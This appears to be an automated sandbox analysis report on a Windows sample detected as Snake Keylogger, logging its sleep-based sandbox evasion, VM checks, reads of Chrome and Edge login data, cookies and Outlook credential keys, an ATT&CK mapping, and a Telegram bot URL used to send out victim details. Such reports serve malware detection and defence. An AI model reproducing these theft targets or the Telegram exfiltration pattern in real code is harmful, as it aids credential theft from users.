Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595905	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 594593	Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Window / User API: threadDelayed 1494			Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Window / User API: threadDelayed 8361			Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsm1926.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

API coverage: 0.5 %

Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 5812	Thread sleep count: 1494 > 30	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 5812	Thread sleep count: 8361 > 30	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -597796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -597456s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -597218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -596890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -595905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -595468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -595359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -595250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -595140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe TID: 3332	Thread sleep time: -594593s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 0_2_0040589C CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040589C
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 0_2_004063D7 FindFirstFileA,FindClose,	0_2_004063D7
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 0_2_004026FE FindFirstFileA,	0_2_004026FE
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_004063D7 FindFirstFileA,FindClose,	4_2_004063D7
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_004026FE FindFirstFileA,	4_2_004026FE
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_0040589C CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_0040589C

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597456	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595905	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Thread delayed: delay time: 594593	Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates	Jump to behavior

Source: 4a. RFx-4045.exe, 00000000.00000002.2446596626.00000000004D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: O630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003BB8000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003C0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	API call chain: ExitProcess graph end node			graph_0-4262
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	API call chain: ExitProcess graph end node			graph_0-4267

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Code function: 4_2_3736001E rdtsc

4_2_3736001E

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Code function: 0_2_6F951A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_6F951A98

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Process created: C:\Users\user\Desktop\4a. RFx-4045.exe "C:\Users\user\Desktop\4a. RFx-4045.exe"

Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Queries volume information: C:\Users\user\Desktop\4a. RFx-4045.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Code function: 0_2_00403328 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403328

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\4a. RFx-4045.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match

File source: Process Memory Space: 4a. RFx-4045.exe PID: 1216, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	4 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4a. RFx-4045.exe	13%	Virustotal		Browse
4a. RFx-4045.exe	14%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsm1926.tmp\System.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsm1926.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.23.110	true	false	high
drive.usercontent.google.com	142.250.181.225	true	false	high
reallyfreegeoip.org	104.21.112.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:216041%0D%0ADate%20and%20Time:%2014/02/2025%20/%2020:29:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20216041%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	4a. RFx-4045.exe, 00000004.00000002.2990434612.000000003411D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034127000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/N	4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003BB8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003C1F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en4	4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035062000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000352BB000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034044000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000351B8000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035089000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035014000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340BD000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	4a. RFx-4045.exe	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035062000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000352BB000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034044000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000351B8000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035089000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035014000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340BD000.00000004.00000800.00020000.00000000.sdmp	false	high
